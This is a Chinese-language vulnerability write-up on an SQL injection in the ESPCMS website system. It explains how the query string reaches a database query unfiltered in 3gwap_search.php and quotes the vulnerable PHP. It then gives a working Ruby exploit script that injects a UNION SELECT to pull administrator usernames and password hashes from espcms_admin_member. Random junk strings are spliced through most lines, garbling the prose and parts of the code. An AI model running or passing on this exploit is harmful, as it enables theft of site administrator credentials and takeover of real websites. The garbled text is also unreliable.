0×0 漏洞概述0×1 漏洞细节, \# p0 p. M, j! S
0×2 PoC/ b( _& ?/ @0 Q9 ]3 i
" m) ^4 A, W$ H4 {* C9 k5 a
x2 X: A5 ~" u" Y+ p0 m
( H6 E2 u$ W9 e6 G, w
0×0 漏洞概述
3 C* K0 s5 D) u: |$ ?& U# o) Y y O9 {8 K7 u* q* z
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。( n) i" N0 K G: a% F- K- n
其在处理传入的参数时考虑不严谨导致SQL注入发生
! i8 ~9 S+ I; u& I. t1 b, u+ o" Z
9 `% z9 E: I9 K. X8 n. r& {0×1 漏洞细节
% D; S) n! O! S3 s2 ]( z# {& k& [! R% G; }4 I( \; }) r( X
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。7 b; t- S9 y0 e/ ^+ z4 {( g
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。8 ^) `$ T( H# o3 @4 E) U9 m2 r. e! Y% H
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。$ G0 T H/ {9 q! z
' g6 O) K2 `$ L' \4 F, ~
在/interface/3gwap_search.php文件的in_result函数中:
. f6 Y% y Z& _" W1 `; ?/ c9 ^* a7 D) c( ?; n; m* |
- G" J1 C7 l8 U6 D1 f3 a: x- a- F w9 b' V4 b* Q' e
function in_result() {
+ J1 S' N: O) @/ E, x( {) I' z ... ... ... ... ... ... ... ... ...) Q6 v* V" [: v; j0 r
$urlcode = $_SERVER[ 'QUERY_STRING '];
; B0 {3 e! Q) B3 `. x' N parse_str(html_entity_decode($urlcode), $output);! r, w q& ]) E* s0 ?
4 @( N" B3 C$ M& I% T7 W
... ... ... ... ... ... ... ... ...
% H/ j! p" t5 b if (is_array($output['attr' ]) && count($output['attr']) > 0) {
, V% v* G( `- a8 \* U- f! U0 _/ x+ y$ R7 j
$db_table = db_prefix . 'model_att';
! L$ M! q1 R1 b/ t7 N! S0 D& } t5 c6 @3 V( }
foreach ($output['attr' ] as $key => $value) {
' d# P5 ~; o" |) y3 x8 z2 w if ($value) {* ~, m, j7 _9 I( { |
' X# A3 ]1 G+ ] $key = addslashes($key);7 c/ X2 C$ \) U# ?& h
$key = $this-> fun->inputcodetrim($key);1 X) T! K$ p( t9 d& e
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
l, p) o4 ~- U' ^5 g. \ $countnum = $this->db_numrows($db_table, $db_att_where);6 o; `& V, `2 N/ u) u4 C3 k
if ($countnum > 0) {& B z7 x: F7 E: x/ x
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;8 Z$ `/ U% K* S) P* S
}
) Y9 D0 T7 F4 E9 R! ~* }( K: X }1 p; P2 \, b' X" z
}
3 P. O t6 b& c( T2 V- {' K }0 C6 U" _: p# I0 Y. y& |5 I9 ?& R' U
if (!empty ($keyword) && empty($keyname)) {
. @/ b: S- l) g8 n" ^ $keyname = 'title';
$ M& n. a) @+ j c7 @: v% p, B $db_where.= " AND a.title like '%$keyword%'" ;" w5 a2 M9 N; s( g
} elseif (!empty ($keyword) && !empty($keyname)) {
8 d3 ?8 G7 t6 j# q" ~ $db_where.= " AND $keyname like '% $keyword%'";4 O0 R, W: R2 n# F3 A
}
$ b( a& Q8 S2 w) g3 d) u& K" M $pagemax = 15; g* O+ a( j0 t1 M
! O4 o3 E6 a- T; Z/ Z
$pagesylte = 1;
! ^. h- F6 J1 I) H
, z8 M2 n8 a! H9 a% Z if ($countnum > 0) {. }6 n ^0 h3 @7 ~: T* O R
M. S% \ v$ @0 l, k; h $numpage = ceil($countnum / $pagemax);
4 R# i/ W- K3 s } else {
" k- S! ?1 C& L4 w. P9 g& l $numpage = 1;
0 ^; a, { {. K# T! B0 V9 n, s }: H3 D6 w5 m }' y# g9 h. T+ ^! |# \
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
7 q; j* u& u# x4 K+ r0 V' R $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
4 f1 z+ l J) f$ L5 E; q! ~2 o! R$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
- ]9 U+ A( o& k2 F% } ... ... ... ... ... ... ... ... ...
2 l* P5 l0 D r% ?: a! E9 w' n }
) G9 ?/ Z1 x6 {' e7 j1 ~8 B+ O1 w/ j& Q5 {, R* [9 K5 d
& E4 X& W! `& F R$ c* e, r
0×2 PoC b+ \' V- Y: d, `
6 B4 l& W5 n) D, F6 U- U6 W
/ U+ m. U8 o2 G! H
; H( T9 N0 }: N' U+ g! R8 A$ @require "net/http") g, c" [9 [* j7 b) p$ J/ r
5 \- j' V' h3 G
def request(method, url)( ]* X X; L/ B. v8 {1 I9 h
if method.eql?("get")
+ W# A% H, o& }# g# E3 _7 C1 I uri = URI.parse(url)
7 h+ z" [( {. [1 ` http = Net::HTTP.new(uri.host, uri.port)) }, E: ] n- |9 |' D% O Y
response = http.request(Net::HTTP::Get.new(uri.request_uri))' m# v7 H% }- |' @4 g/ U, R/ K
return response
; @) J8 [6 t6 D; S2 P8 T/ P end
0 S8 u: w: x5 K5 R5 send/ n" F- L) M" x$ E
9 \$ {1 l) c2 C/ K9 V& J
doc =<<HERE
/ m8 V' {6 G! Y0 _. O! m-------------------------------------------------------
8 j) ]- _$ ?+ T* }5 {) M; }Espcms Injection Exploit
" }6 _3 P9 N8 c$ W- J2 {7 P/ PAuthor:ztz2 c/ ]- i, X, n2 j, \* W5 t6 E
Blog:http://ztz.fuzzexp.org/
+ I$ [) G$ _3 o-------------------------------------------------------
& S4 V6 H' X5 s, Y) c) \
0 f+ L1 K8 _+ ^' v# fHERE
3 E+ y- |" \& K5 N" @$ M1 `. \1 O- N& E% l3 a% m
usage =<<HERE% F0 w/ O" b* ~1 m5 H2 m8 u1 S
Usage: ruby #{$0} host port path
4 H3 g% `- e0 y, i! g# w$ E" I* yexample: ruby #{$0} www.target.com 80 /" H$ p! o8 m5 _# G( d6 K
HERE( }7 J. J: h, b
# Y5 R+ l2 A6 ~5 ] a8 h/ M
puts doc) Y# v! Q( q% U1 n
if ARGV.length < 3
) t2 y, @: X* |( ~; n; I* H1 x puts usage
& d& Y3 v1 L1 e$ N6 P& o9 o* Velse
+ N4 {* H: D( E X $host = ARGV[0] [/ M& d- S7 \
$port = ARGV[1]
* W. j: O( E3 P, `+ | $path = ARGV[2]0 q" ~* O3 K: Y2 S
! O e) ~9 V$ C! K: Q' `$ a puts "send request..."+ V9 a' F* ^5 ?0 X' E* Z0 q" {
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
3 G+ w0 y, {- d V0 A( Fattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
\8 L- P; U0 [9 T- ?,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27% }- n: n! G. o+ f
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
4 L% J5 M9 T5 @# O+ E response = request("get", url)0 K/ |/ p! r) N5 ?2 K# g/ y8 u' P
result = response.body.scan(/\w+&\w{32}/)$ g. h! G9 l, k9 P; ~ N
puts result
* _! o$ P X" z& H9 E! Xend2 Z8 r$ k, f" K, _$ o
R5 V/ K& x0 H
|